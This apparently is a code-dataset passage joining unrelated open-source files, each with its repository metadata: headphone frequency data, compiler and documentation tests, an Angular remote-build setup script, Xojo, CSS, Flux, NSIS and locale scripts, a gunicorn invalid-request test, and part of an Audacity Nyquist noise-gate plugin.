10144.02,5.16,-2.64,4.10,-2.23,2.23,2.48,-1.60,7.39,6.33,7.79
10245.46,5.06,-2.40,4.02,-2.22,2.22,2.50,-1.58,7.28,6.24,7.45
10347.91,4.94,-2.21,3.94,-2.20,2.21,2.49,-1.56,7.14,6.14,7.14
10451.39,4.77,-2.11,3.85,-2.17,2.18,2.44,-1.54,6.94,6.03,6.87
10555.91,4.54,-2.11,3.77,-2.13,2.14,2.36,-1.52,6.68,5.91,6.64
10661.46,4.27,-2.20,3.69,-2.09,2.10,2.26,-1.51,6.36,5.78,6.46
10768.08,3.95,-2.37,3.60,-2.05,2.05,2.15,-1.50,5.99,5.65,6.31
10875.76,3.56,-2.66,3.52,-1.99,1.99,2.02,-1.49,5.55,5.51,6.21
10984.52,3.13,-3.02,3.43,-1.94,1.94,1.90,-1.49,5.06,5.37,6.14
11094.36,2.67,-3.43,3.35,-1.87,1.87,1.77,-1.49,4.54,5.22,6.09
11205.31,2.20,-3.86,3.26,-1.80,1.80,1.65,-1.49,4.00,5.07,6.05
11317.36,1.74,-4.24,3.18,-1.72,1.72,1.54,-1.50,3.46,4.90,5.97
11430.53,1.30,-4.58,3.10,-1.64,1.64,1.43,-1.51,2.94,4.74,5.87
11544.84,0.90,-4.86,3.01,-1.55,1.55,1.34,-1.52,2.45,4.56,5.75
11660.29,0.54,-5.05,2.93,-1.46,1.46,1.25,-1.54,1.99,4.38,5.58
11776.89,0.24,-5.14,2.84,-1.36,1.36,1.17,-1.56,1.59,4.20,5.37
11894.66,0.02,-5.14,2.76,-1.25,1.25,1.10,-1.58,1.27,4.01,5.15
12013.60,-0.15,-5.03,2.67,-1.14,1.14,1.03,-1.61,0.98,3.81,4.87
12133.74,-0.24,-4.80,2.59,-1.02,1.02,0.96,-1.65,0.77,3.61,4.55
12255.08,-0.28,-4.49,2.50,-0.89,0.89,0.89,-1.69,0.61,3.40,4.20
12377.63,-0.27,-4.11,2.42,-0.76,0.76,0.81,-1.73,0.49,3.18,3.83
12501.41,-0.21,-3.65,2.33,-0.63,0.63,0.73,-1.78,0.41,2.96,3.43
12626.42,-0.10,-3.13,2.25,-0.48,0.48,0.63,-1.84,0.38,2.73,3.02
12752.68,0.01,-2.61,2.16,-0.33,0.33,0.52,-1.90,0.34,2.50,2.61
12880.21,0.12,-2.12,2.08,-0.18,0.18,0.39,-1.97,0.30,2.26,2.23
13009.01,0.24,-1.63,1.99,-0.02,0.02,0.24,-2.05,0.25,2.01,1.86
13139.10,0.33,-1.20,1.91,0.15,-0.15,0.08,-2.14,0.18,1.76,1.52
13270.49,0.40,-0.84,1.82,0.32,-0.32,-0.10,-2.23,0.07,1.50,1.23
13403.20,0.47,-0.52,1.74,0.50,-0.50,-0.30,-2.34,-0.03,1.23,0.98
13537.23,0.54,-0.22,1.65,0.69,-0.69,-0.52,-2.45,-0.15,0.96,0.75
13672.60,0.58,0.05,1.56,0.88,-0.88,-0.74,-2.58,-0.30,0.69,0.52
13809.33,0.61,0.30,1.48,1.07,-1.07,-0.98,-2.71,-0.47,0.40,0.30
13947.42,0.64,0.56,1.39,1.28,-1.28,-1.22,-2.86,-0.64,0.12,0.07
14086.90,0.69,0.86,1.31,1.49,-1.49,-1.47,-3.03,-0.80,-0.18,-0.18
14227.77,0.74,1.17,1.22,1.70,-1.70,-1.72,-3.20,-0.97,-0.48,-0.44
14370.04,0.80,1.54,1.14,1.92,-1.92,-1.98,-3.40,-1.13,-0.79,-0.75
14513.74,0.87,1.98,1.05,2.15,-2.15,-2.23,-3.60,-1.29,-1.10,-1.12
14658.88,0.95,2.47,0.96,2.38,-2.38,-2.48,-3.82,-1.44,-1.42,-1.53
14805.47,1.05,3.04,0.88,2.62,-2.62,-2.74,-4.05,-1.58,-1.75,-2.00
14953.52,1.15,3.68,0.79,2.87,-2.87,-2.99,-4.29,-1.72,-2.08,-2.54
15103.06,1.25,4.40,0.70,3.12,-3.12,-3.24,-4.53,-1.87,-2.42,-3.16
15254.09,1.35,5.16,0.62,3.38,-3.38,-3.49,-4.77,-2.03,-2.76,-3.82
15406.63,1.43,5.94,0.53,3.64,-3.64,-3.75,-4.99,-2.22,-3.11,-4.52
15560.70,1.50,6.72,0.44,3.91,-3.91,-4.00,-5.18,-2.42,-3.47,-5.23
15716.30,1.54,7.44,0.36,4.19,-4.19,-4.26,-5.33,-2.65,-3.83,-5.91
15873.47,1.55,8.10,0.27,4.47,-4.47,-4.51,-5.42,-2.92,-4.20,-6.56
16032.20,1.52,8.68,0.18,4.76,-4.76,-4.78,-5.44,-3.24,-4.57,-7.17
16192.52,1.46,9.23,0.10,5.05,-5.05,-5.04,-5.38,-3.59,-4.95,-7.78
16354.45,1.36,9.65,0.01,5.35,-5.35,-5.31,-5.23,-3.99,-5.34,-8.30
16517.99,1.25,9.95,-0.08,5.66,-5.66,-5.59,-5.00,-4.41,-5.73,-8.71
16683.17,1.10,10.10,-0.16,5.97,-5.97,-5.88,-4.72,-4.87,-6.13,-9.01
16850.01,0.93,10.12,-0.25,6.29,-6.29,-6.17,-4.38,-5.36,-6.54,-9.20
17018.51,0.75,10.06,-0.34,6.61,-6.61,-6.48,-4.02,-5.86,-6.95,-9.32
17188.69,0.58,10.08,-0.43,6.94,-6.94,-6.79,-3.65,-6.36,-7.37,-9.51
17360.58,0.40,9.99,-0.51,7.28,-7.28,-7.12,-3.28,-6.88,-7.79,-9.60
17534.18,0.22,9.84,-0.60,7.62,-7.62,-7.46,-2.92,-7.40,-8.22,-9.63
17709.53,0.05,9.62,-0.69,7.97,-7.97,-7.81,-2.58,-7.92,-8.65,-9.58
17886.62,-0.12,9.37,-0.78,8.32,-8.32,-8.18,-2.27,-8.44,-9.10,-9.50
18065.49,-0.29,9.26,-0.86,8.68,-8.68,-8.56,-1.98,-8.97,-9.54,-9.56
18246.14,-0.48,9.25,-0.95,9.05,-9.05,-8.96,-1.72,-9.53,-10.00,-9.74
18428.60,-0.67,9.20,-1.04,9.42,-9.42,-9.37,-1.49,-10.09,-10.46,-9.88
18612.89,-0.88,9.10,-1.13,9.80,-9.80,-9.78,-1.28,-10.68,-10.92,-9.99
18799.02,-1.10,8.93,-1.22,10.18,-10.18,-10.20,-1.10,-11.28,-11.39,-10.04
18987.01,-1.32,8.72,-1.30,10.57,-10.57,-10.60,-0.93,-11.89,-11.87,-10.05
19176.88,-1.55,8.76,-1.39,10.97,-10.97,-10.98,-0.79,-12.52,-12.36,-10.32
19368.65,-1.79,8.77,-1.48,11.37,-11.37,-11.30,-0.66,-13.16,-12.85,-10.57
19562.33,-2.03,8.73,-1.57,11.78,-11.78,-11.53,-0.55,-13.81,-13.34,-10.77
19757.96,-2.27,8.65,-1.66,12.19,-12.19,-11.62,-0.45,-14.46,-13.85,-10.93
19955.54,-2.52,8.52,-1.74,12.61,-12.61,-11.52,-0.36,-15.13,-14.36,-11.05
| CSV | 2 | vinzmc/AutoEq | results/referenceaudioanalyzer/referenceaudioanalyzer_hdm1_harman_over-ear_2018/Sennheiser HD 700/Sennheiser HD 700.csv | [
"MIT"
] |
#If LANG="cpp" Or LANG="java" Or LANG="cs" Or LANG="js" Or LANG="as"
Import databuffer
Import ringbuffer
Import stream
Import asyncevent
Import datastream
Import url
#Endif
#If LANG="cpp" Or LANG="java"
Import filestream
Import socket
Import httprequest
Import tcpstream
#Endif
#If LANG="cs"
Import filestream
#Endif
| Monkey | 2 | Regal-Internet-Brothers/webcc-monkey | webcc.data/modules/brl/brl.monkey | [
"Zlib"
] |
// run-pass
// Test that fn item types are zero-sized.
use std::mem::{size_of, size_of_val};
fn main() {
assert_eq!(size_of_val(&main), 0);
let (a, b) = (size_of::<u8>, size_of::<u16>);
assert_eq!(size_of_val(&a), 0);
assert_eq!(size_of_val(&b), 0);
assert_eq!((a(), b()), (1, 2));
}
| Rust | 4 | Eric-Arellano/rust | src/test/ui/functions-closures/fn-item-type-zero-sized.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
/// <reference path="fourslash.ts" />
////export interface Foo {
//// /** JSDoc */
//// /**/foo(): void;
////}
// Should not crash, #35632
verify.completions({
marker: "",
isNewIdentifierLocation: true,
exact: [{
name: "readonly",
kind: "keyword",
sortText: completion.SortText.GlobalsOrKeywords
}]
});
| TypeScript | 4 | monciego/TypeScript | tests/cases/fourslash/completionsAfterJSDoc.ts | [
"Apache-2.0"
] |
#!/bin/bash
# A script for automatically configuring a user's local dev
# environment to use Remote Build Execution.
# Short cuts to set output as bold and normal
bold=$(tput bold)
normal=$(tput sgr0)
###########################################################
# Setup/Confirm Environment #
###########################################################
# The full path location of the script
full_script_path="$(pwd)/$(dirname ${BASH_SOURCE[0]})"
# Determine the root directory of the Angular github repo.
project_directory=$(git rev-parse --show-toplevel 2> /dev/null)
if [[ $? -ne 0 ]]; then
echo "This command must be run from within the cloned \"angular/angular\" repository"
exit 1
fi
# Confirm gcloud installed and available as a command.
if [ ! -x "$(command -v gcloud)" ]; then
echo "gcloud command is not available. Please install gcloud before continuing"
echo "Please visit: https://cloud.google.com/sdk/install"
exit 1
fi
# The full path to the .bazelrc.user file
bazelrc_user_filepath="$project_directory/.bazelrc.user"
###########################################################
# Action Functions #
###########################################################
# Log into gcloud
function gcloud_login() {
gcloud auth application-default login
if [[ $? -ne 0 ]]; then
echo "gcloud login failed. Aborting"
exit 2
fi
}
# Confirm the user is already logged into gcloud, if they aren't
# attempt to login. After login, confirm the logged in account
# is from the correct domain.
function confirm_gcloud_login() {
echo "Checking gcloud login state"
gcloud auth application-default print-access-token &> /dev/null
if [[ $? -ne 0 ]]; then
echo "Not currently logged into gcloud. Starting gcloud login now"
gcloud_login
fi
access_token=$(gcloud auth application-default print-access-token)
current_account=$(curl -s https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$access_token | node $full_script_path/get-email)
if [[ ! $current_account =~ (angular\.io$)|(google\.com$) ]]; then
echo
echo "Logged in as $current_account";
echo "The account used for remote build execution must be a member of [email protected]"
echo "or [email protected]."
echo
echo "As $current_account is not from either domain, membership cannot be automatically"
echo "determined. If you know $current_account to be a member of one of the required groups"
echo "you can proceed, using it for authentication."
echo
read -p "Continue RBE setup using $current_account? [Y/y]"
if [[ $REPLY =~ ^[Yy]$ ]]; then
return
fi
echo
echo "Please login instead using an account that is a member of the one of the above groups."
read -p "Rerun login now? [Y/y]"
if [[ $REPLY =~ ^[Yy]$ ]]; then
gcloud_login
confirm_gcloud_login
return
else
echo "Exiting..."
exit 3
fi
fi
echo "Logged in as $current_account";
}
# Prompts to add a flag to the .bazelrc.user file if its not already in place
function add_flag() {
flag=$1
read -p " Add $flag flag? [Y/y]"
if [[ $REPLY =~ ^[Yy]$ ]]; then
if [[ ! $(grep "^$flag$" $bazelrc_user_filepath) ]]; then
echo "$flag" >> $bazelrc_user_filepath
echo "Added $flag to .bazelrc.user"
else
echo "$flag already in .bazelrc.user"
fi
fi
echo
}
###########################################################
# RBE Setup Script #
###########################################################
# Create the bazelrc.user file, echo the config flags into the file.
touch $bazelrc_user_filepath
# Ensure default credentials are valid.
confirm_gcloud_login
# Add extra line space before config setup.
echo
# Remote builds
echo "The ${bold}remote${normal} flag enables RBE, builds run remotely when possible and caching"
echo "occurs in the RBE context"
add_flag "build --config=remote"
| Shell | 5 | raghavendramohan/angular | scripts/local-dev/setup-rbe.sh | [
"MIT"
] |
#tag Class
Protected Class GKVoiceChat
Inherits NSObject
#tag Method, Flags = &h21
Private Shared Function ClassRef() As Ptr
static ref as ptr = NSClassFromString("GKVoiceChat")
return ref
End Function
#tag EndMethod
#tag Method, Flags = &h0
Shared Function IsVoIPAllowed() As Boolean
declare function isVoIPAllowed_ lib GameKitLib selector "isVoIPAllowed" (clsRef as ptr) as Boolean
Return isVoIPAllowed_(ClassRef)
End Function
#tag EndMethod
#tag DelegateDeclaration, Flags = &h0
Delegate Sub PlayerVoiceChatStateDidChange(player as GameKit . GKPlayer, state as ChatState)
#tag EndDelegateDeclaration
#tag Method, Flags = &h0
Sub SetPlayerMuted(player as GKPlayer, isMuted as Boolean)
declare sub setPlayer_ lib GameKitLib selector "setPlayer:muted:" (obj_id as ptr, player as ptr, isMuted as Boolean)
setPlayer_(self, player, isMuted)
End Sub
#tag EndMethod
#tag Method, Flags = &h0
Sub Start()
declare sub start_ lib GameKitLib selector "start" (obj_id as ptr)
start_(self)
End Sub
#tag EndMethod
#tag Method, Flags = &h0
Sub Stop()
declare sub stop_ lib GameKitLib selector "stop" (obj_id as ptr)
stop_(self)
End Sub
#tag EndMethod
#tag Method, Flags = &h21
Private Sub voiceChatStateChanged(player as ptr, state as ChatState)
playerVoiceChatStateChangedHandler.Invoke(new GameKit.GKPlayer(player), state)
End Sub
#tag EndMethod
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
declare function active_ lib GameKitLib selector "isActive" (obj_id as ptr) as Boolean
Return active_(self)
End Get
#tag EndGetter
#tag Setter
Set
declare sub active_ lib GameKitLib selector "setActive:" (obj_id as ptr, active as Boolean)
active_(self, value)
End Set
#tag EndSetter
active As Boolean
#tag EndComputedProperty
#tag Property, Flags = &h21
Private mplayerVoiceChatStateChangedHandler As PlayerVoiceChatStateDidChange
#tag EndProperty
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
declare function name_ lib GameKitLib selector "name" (obj_id as ptr) as CFStringRef
Return name_(self)
End Get
#tag EndGetter
name As CFStringRef
#tag EndComputedProperty
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
declare function players_ lib GameKitLib selector "players" (obj_id as ptr) as ptr
Return new NSArray(players_(self))
End Get
#tag EndGetter
players As NSArray
#tag EndComputedProperty
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
return mplayerVoiceChatStateChangedHandler
End Get
#tag EndGetter
#tag Setter
Set
mplayerVoiceChatStateChangedHandler = value
declare sub setPlayerVoiceChatStateDidChangeHandler lib GameKitLib selector _
"setPlayerVoiceChatStateDidChangeHandler:" (obj_id as ptr, handler as ptr)
if mplayerVoiceChatStateChangedHandler = nil then
setPlayerVoiceChatStateDidChangeHandler(self,nil)
else
dim blk as new iOSBlock(AddressOf voiceChatStateChanged)
setPlayerVoiceChatStateDidChangeHandler(self, blk.Handle)
end if
End Set
#tag EndSetter
playerVoiceChatStateChangedHandler As PlayerVoiceChatStateDidChange
#tag EndComputedProperty
#tag ComputedProperty, Flags = &h0
#tag Getter
Get
declare function volume_ lib GameKitLib selector "volume" (obj_id as ptr) as Double
Return (volume_(self))
End Get
#tag EndGetter
#tag Setter
Set
declare sub volume_ lib GameKitLib selector "setVolume:" (obj_id as ptr, volume as Double)
volume_(self, value)
End Set
#tag EndSetter
volume As Double
#tag EndComputedProperty
#tag Enum, Name = ChatState, Type = Integer, Flags = &h0
Connected
Disconnected
Speaking
Silent
Connecting
#tag EndEnum
#tag ViewBehavior
#tag ViewProperty
Name="active"
Visible=false
Group="Behavior"
InitialValue=""
Type="Boolean"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Index"
Visible=true
Group="ID"
InitialValue="-2147483648"
Type="Integer"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Left"
Visible=true
Group="Position"
InitialValue="0"
Type="Integer"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Name"
Visible=true
Group="ID"
InitialValue=""
Type="String"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Super"
Visible=true
Group="ID"
InitialValue=""
Type="String"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="Top"
Visible=true
Group="Position"
InitialValue="0"
Type="Integer"
EditorType=""
#tag EndViewProperty
#tag ViewProperty
Name="volume"
Visible=false
Group="Behavior"
InitialValue=""
Type="Double"
EditorType=""
#tag EndViewProperty
#tag EndViewBehavior
End Class
#tag EndClass
| Xojo | 4 | kingj5/iOSKit | Modules/GameKitFolder/GameKit/GKVoiceChat.xojo_code | [
"MIT"
] |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
* {
font-family: "Helvetica Neue",Helvetica,"PingFang SC","Hiragino Sans GB","Microsoft YaHei","微软雅黑",Arial,sans-serif;
}
iframe {
border: none;
position: absolute;
top: 20px;
left: 50%;
width: 800px;
height: 600px;
margin-left: -400px;
box-shadow: 0 0 30px rgba(0, 0, 0, 0.2);
overflow-x: hidden;
}
#open-nav {
position: fixed;
left: 20px;
top: 20px;
}
.op-notice {
width: 200px;
}
#tests-nav {
position: fixed;
top: 0;
bottom: 0;
z-index: 2000;
left: 0;
width: 300px;
box-shadow: 0 0 50px rgba(0, 0, 0, 0.4);
background-color: white;
padding: 20px;
overflow-y: scroll;
}
#tests-nav ul {
margin: 0;
padding: 0;
}
#tests-nav li {
list-style: none;
}
#tests-nav a {
color: #444;
text-decoration: none;
line-height: 30px;
transition: .15s ease-out;
}
#tests-nav a:hover, #tests-nav a.active {
color: #409eff;
}
#tests-nav .el-icon-circle-close {
position: fixed;
left: 280px;
top: 10px;
cursor: pointer;
font-size: 30px;
z-index: 2100;
}
#tests-nav .el-icon-circle-close:hover {
color: #409eff;
}
#recording-status {
position: absolute;
top: 650px;
width: 100%;
border-radius: 20px;
text-align: center;
}
#recording-status .recording-button {
width: 60px;
height: 60px;
border-radius: 50px;
font-size: 35px;
}
#recording-status .hint {
font-size: 22px;
font-weight: 200;
margin-top: 10px;
}
#recording-status .recording-time {
font-size: 50px;
font-weight: 200;
margin-top: 10px;
color: #F56C6C;
}
#recording-status .hint .emphasis {
font-weight: 400;
margin: 0 10px;
color: #409eff;
}
#actions {
position: fixed;
right: 10px;
width: 300px;
}
#actions .toolbar {
float: right;
margin-top: -5px;
}
#actions .toolbar>* {
display: inline-block;
vertical-align: middle;
}
#actions .toolbar i.el-icon-setting {
font-size: 20px;
cursor: pointer;
margin-left: 10px;
}
.config-item {
margin: 5px 0;
}
.config-item>* {
display: inline-block;
vertical-align: middle;
margin-right: 10px;
}
#actions .action-item {
line-height: 40px;
padding: 0 20px;
margin: 0 -20px;
cursor: pointer;
}
#actions .action-item:hover {
background: #eee;
}
#actions .action-item.active {
background: #409Eff;
color: #ffffff;
}
#actions .action-item .operations {
height: 30px;
font-size: 14px;
}
#actions .action-item .operations>* {
display: inline-block;
vertical-align: middle;
}
#actions .action-item .operations i {
margin-left: 5px;
font-size: 18px;
}
#actions .action-item .operations .el-icon-delete {
color: #F56C6C;
margin-left: 10px;
}
::-webkit-scrollbar {
height: 8px;
width: 8px;
-webkit-transition: all 0.3s ease-in-out;
transition: all 0.3s ease-in-out;
-webkit-border-radius: 2px;
border-radius: 2px
}
::-webkit-scrollbar-button {
display: none
}
::-webkit-scrollbar-thumb {
width: 8px;
min-height: 15px;
background: rgba(50,50,50,0.6) !important;
-webkit-transition: all 0.3s ease-in-out;
transition: all 0.3s ease-in-out;
-webkit-border-radius: 2px;
border-radius: 2px
}
::-webkit-scrollbar-thumb:hover {
background: rgba(0,0,0,0.5) !important
}
| CSS | 2 | ShenguyunSDK/ins-echarts | test/runTest/recorder/recorder.css | [
"Apache-2.0",
"BSD-3-Clause"
] |
// Tests that `--show-type-layout` is required in order to show layout info.
// @!has type_layout_flag_required/struct.Foo.html 'Size: '
pub struct Foo(usize);
| Rust | 3 | mbc-git/rust | src/test/rustdoc/type-layout-flag-required.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
import ../frontend/Token
import Conditional, Expression, Visitor, Else
import tinker/[Trail, Resolver, Response, Errors]
If: class extends Conditional {
elze: Else
unwrapped: Bool = false
init: func ~_if (.condition, .token) { super(condition, token) }
setElse: func(=elze)
getElse: func -> Else { elze }
clone: func -> This {
copy := new(condition ? condition clone() : null, token)
body list each(|e| copy body add(e clone()))
copy
}
accept: func (visitor: Visitor) {
visitor visitIf(this)
}
toString: func -> String {
"if (" + condition toString() + ")" + body toString()
}
isDeadEnd: func -> Bool { false }
resolve: func(trail: Trail, res: Resolver) -> Response {
if(elze != null && !unwrapped){
trail push(this)
if(!trail addAfterInScope(this, elze)){
trail pop(this)
res throwError(FailedUnwrapElse new(elze token, "Failed to unwrap else"))
}
unwrapped = true
elze resolve(trail, res)
trail pop(this)
res wholeAgain(this, "just unwrapped else")
return Response OK
}
super(trail, res)
}
}
FailedUnwrapElse: class extends Error{
init: super func ~tokenMessage
}
| ooc | 4 | shamanas/rock | source/rock/middle/If.ooc | [
"MIT"
] |
// Package profiler provides performance profiling tools for Flux queries and operations.
//
// Profile results are returned as an extra result in the response named according to the profiles which are enabled.
//
// introduced: 0.82.0
// tags: optimize
//
package profiler
// enabledProfilers is a list of profilers to enable during execution.
//
// ## Available profilers
// - [query](#query)
// - [operator](#operator)
//
// ### query
// Provides statistics about the execution of an entire Flux script.
// When enabled, results include a table with the following columns:
//
// - **TotalDuration**: total query duration in nanoseconds.
// - **CompileDuration**: number of nanoseconds spent compiling the query.
// - **QueueDuration**: number of nanoseconds spent queueing.
// - **RequeueDuration**: number fo nanoseconds spent requeueing.
// - **PlanDuration**: number of nanoseconds spent planning the query.
// - **ExecuteDuration**: number of nanoseconds spent executing the query.
// - **Concurrency**: number of goroutines allocated to process the query.
// - **MaxAllocated**: maximum number of bytes the query allocated.
// - **TotalAllocated**: total number of bytes the query allocated (includes memory that was freed and then used again).
// - **RuntimeErrors**: error messages returned during query execution.
// - **flux/query-plan**: Flux query plan.
// - **influxdb/scanned-values**: value scanned by InfluxDB.
// - **influxdb/scanned-bytes**: number of bytes scanned by InfluxDB.
//
// ### operator
// The `operator` profiler output statistics about each operation in a query.
// [Operations executed in the storage tier](https://docs.influxdata.com/influxdb/cloud/query-data/optimize-queries/#start-queries-with-pushdown-functions)
// return as a single operation.
// When the `operator` profile is enabled, results include a table with a row
// for each operation and the following columns:
//
// - **Type:** operation type
// - **Label:** operation name
// - **Count:** total number of times the operation executed
// - **MinDuration:** minimum duration of the operation in nanoseconds
// - **MaxDuration:** maximum duration of the operation in nanoseconds
// - **DurationSum:** total duration of all operation executions in nanoseconds
// - **MeanDuration:** average duration of all operation executions in nanoseconds
//
// ## Examples
//
// ### Enable profilers in a query
// ```no_run
// import "profiler"
//
// option profiler.enabledProfilers = ["query", "operator"]
// ```
//
option enabledProfilers = [""]
| FLUX | 5 | geropl/flux | stdlib/profiler/profiler.flux | [
"MIT"
] |
Var GoCDCurrentVersion
Var IsUpgrading
Function "ExitInstaller"
Quit
FunctionEnd
Function "MaybePerformUpgrade"
ReadRegStr $1 HKLM "Software\ThoughtWorks Studios\Go ${COMPONENT_NAME}" "Ver"
${If} $1 L= ${COMPONENT_REGISTRY_VERSION}
Call UpgradeToSameVersionMessageAndExit
${ElseIf} $1 L< ${COMPONENT_REGISTRY_VERSION}
Call UpgradeToNewerVersionAndContinue
${Else}
Call UpgradeToOlderVersionMessageAndExit
${EndIf}
FunctionEnd
Function "UpgradeToNewerVersionAndContinue"
ReadRegStr $GoCDCurrentVersion HKLM "Software\ThoughtWorks Studios\Go ${COMPONENT_NAME}" "Version"
${LogText} "Go ${COMPONENT_NAME} upgraded from $GoCDCurrentVersion to ${COMPONENT_FULL_VERSION}"
${IfNot} ${Silent}
MessageBox MB_YESNO \
"This will upgrade Go ${COMPONENT_NAME} from $GoCDCurrentVersion to ${COMPONENT_FULL_VERSION}.$\r$\nMake sure you have backups before doing this!$\r$\nDo you want to continue?" \
IDYES continueUpgradeLabel \
IDNO exitInstallerLabel
${EndIf}
continueUpgradeLabel:
${LogText} "Requested to continue installing."
StrCpy $IsUpgrading "true"
Return
exitInstallerLabel:
${LogText} "Requested to exit installer."
Call ExitInstaller
Return
FunctionEnd
Function "UpgradeToSameVersionMessageAndExit"
${LogText} "Go ${COMPONENT_NAME} ${COMPONENT_FULL_VERSION} is already installed."
${IfNot} ${Silent}
MessageBox MB_OK "Go ${COMPONENT_NAME} ${COMPONENT_FULL_VERSION} is already installed."
${EndIf}
Call ExitInstaller
FunctionEnd
Function "UpgradeToOlderVersionMessageAndExit"
ReadRegStr $GoCDCurrentVersion HKLM "Software\ThoughtWorks Studios\Go ${COMPONENT_NAME}" "Version"
${LogText} "Go ${COMPONENT_NAME} $GoCDCurrentVersion is installed, and you are trying to install an older version (${COMPONENT_FULL_VERSION}). This is not supported."
${IfNot} ${Silent}
MessageBox MB_OK "Go ${COMPONENT_NAME} $GoCDCurrentVersion is installed, and you are trying to install an older version (${COMPONENT_FULL_VERSION}).$\r$\nThis is not supported."
${EndIf}
FunctionEnd
| NSIS | 4 | JeroenOortwijn/gocd | installers/windows/upgrade-helpers.nsi | [
"Apache-2.0"
] |
PROXY TCP4 192.168.0.1 192.168.0.11 65iii 100000\r\n
| HTTP | 0 | ashishmjn/gunicorn | tests/requests/invalid/pp_02.http | [
"MIT"
] |
#!/bin/sh
mv ./options/locale/locale_en-US.ini ./options/
# Make sure to only change lines that have the translation enclosed between quotes
sed -i -r -e '/^[a-zA-Z0-9_.-]+[ ]*=[ ]*".*"$/ {
s/^([a-zA-Z0-9_.-]+)[ ]*="/\1=/
s/\\"/"/g
s/"$//
}' ./options/locale/*.ini
# Remove translation under 25% of en_us
baselines=$(wc -l "./options/locale_en-US.ini" | cut -d" " -f1)
baselines=$((baselines / 4))
for filename in ./options/locale/*.ini; do
lines=$(wc -l "$filename" | cut -d" " -f1)
if [ $lines -lt $baselines ]; then
echo "Removing $filename: $lines/$baselines"
rm "$filename"
fi
done
mv ./options/locale_en-US.ini ./options/locale/
| Shell | 3 | ansky/gitea | build/update-locales.sh | [
"MIT"
] |
$nyquist plug-in
$version 4
$type process
$name (_ "Noise Gate")
$manpage "Noise_Gate"
$debugbutton false
$preview enabled
$author (_ "Steve Daulton")
$release 3.0.4
$copyright (_ "GNU General Public License v2.0 or later")
;; Released under terms of the GNU General Public License v2.0 or later:
;; http://www.gnu.org/licenses/old-licenses/gpl-2.0.html .
$control mode (_ "Select Function") choice (("Gate" (_ "Gate"))
("Analyze" (_ "Analyze Noise Level")))
0
$control stereo-link (_ "Stereo Linking") choice (("LinkStereo" (_ "Link Stereo Tracks"))
("DoNotLink" (_ "Don't Link Stereo")))
0
;; Work around bug 2336 - Text after control is not read by screen reader.
$control threshold (_ "Gate threshold (dB)") float "" -40 -96 -6
$control gate-freq (_ "Gate frequencies above (kHz)") float "" 0 0 10
$control level-reduction (_ "Level reduction (dB)") float "" -24 -100 0
$control attack (_ "Attack (ms)") float "" 10 1 1000
$control hold (_ "Hold (ms)") float "" 50 0 2000
$control decay (_ "Decay (ms)") float "" 100 10 4000
;; The gain envelope for the noisegate function may be a mono sound (stereo-link = 1, or *track* is mono)
;; or an array of sounds (stereo-link = 0 and *track* is stereo).
;; 'Level Reduction' is similar to "Range" or "Floor", but is a (negative) amount of gain
;; rather than a fixed level.
;;
;; To create the gain envelope:
;; 1. If stereo track and stereo-link = 1, get the max of left and right.
;; 2. Add 'hold' when level > threshold.
;; This adds a high level signal for 'hold' seconds when the level
;; falls below the threshold.
;; 3. Nyquist GATE function to generate exponential rise and decay.
;; Unlike analog noise gates, lookahead is used so that the gate
;; begins to open before the signal rises above the threshold.
;; When the threshold is reached, the gate is fully open.
;; This prevents the gate from clipping the beginning of words / sounds.
;; 4. Scale level of envelope and offset so that we have unity gain above
;; threshold, and 'level-reduction' below the threshold.
;; If silence-flag is set (= 1), gain below the threshold is zero.
; Global variables
(setf silence-flag (if (> level-reduction -96) 0 1))
(setf gate-freq (* 1000.0 gate-freq))
(setf floor (db-to-linear level-reduction))
(setf threshold (db-to-linear threshold))
(setf attack (/ attack 1000.0))
(setf lookahead attack)
(setf decay (/ decay 1000.0))
(setf hold (/ hold 1000.0))
(defun error-check ()
(let ((max-hz (* *sound-srate* 0.45)) ;10% below Nyquist should be safe maximum.
(max-khz (roundn (* 0.00045 *sound-srate*) 1))
(gate-freq-khz (roundn (/ gate-freq 1000.0) 1)))
(when (>= gate-freq max-hz)
;; Work around bug 2012.
(throw 'err (format nil (_ "Error.
\"Gate frequencies above: ~s kHz\"
is too high for selected track.
Set the control below ~a kHz.")
gate-freq-khz
max-khz))))
(let ((start (get '*selection* 'start))
(end (get '*selection* 'end)))
(when (> (* *sound-srate* (- end start)) (1- (power 2 31)))
;; Work around bug 2012 and 439.
(throw 'err (format nil (_ "Error.
Selection too long.
Maximum length is ~a.") (format-time (/ (1- (power 2 31)) *sound-srate*))))))
(when (< len 100) ;100 samples required
;; Work around bug 2012.
(throw 'err (format nil (_ "Error.
Insufficient audio selected.
Make the selection longer than ~a ms.")
(round-up (/ 100000 *sound-srate*))))))
;;; Analysis functions:
;; Measure the peak level (dB) and suggest setting threshold a little higher.
(defun analyze (sig)
; Return analysis text.
(let* ((test-length (truncate (min len (/ *sound-srate* 2.0))))
(peakdb (peak-db sig test-length))
(target (+ 1.0 peakdb))) ;suggest 1 dB above noise level
;; Work around bug 2012.
(format nil (_ "Peak based on first ~a seconds ~a dB~%
Suggested Threshold Setting ~a dB.")
(roundn (/ test-length *sound-srate*) 2)
(roundn peakdb 2)
(roundn target 0))))
(defun peak-db (sig test-len)
;; Return absolute peak (dB).
;; For stereo tracks, return the maximum of the channels.
(if (arrayp sig)
(let ((peakL (peak (aref sig 0) test-len))
(peakR (peak (aref sig 1) test-len)))
(linear-to-db (max peakL peakR)))
(linear-to-db test-len)))
;;; Utility functions
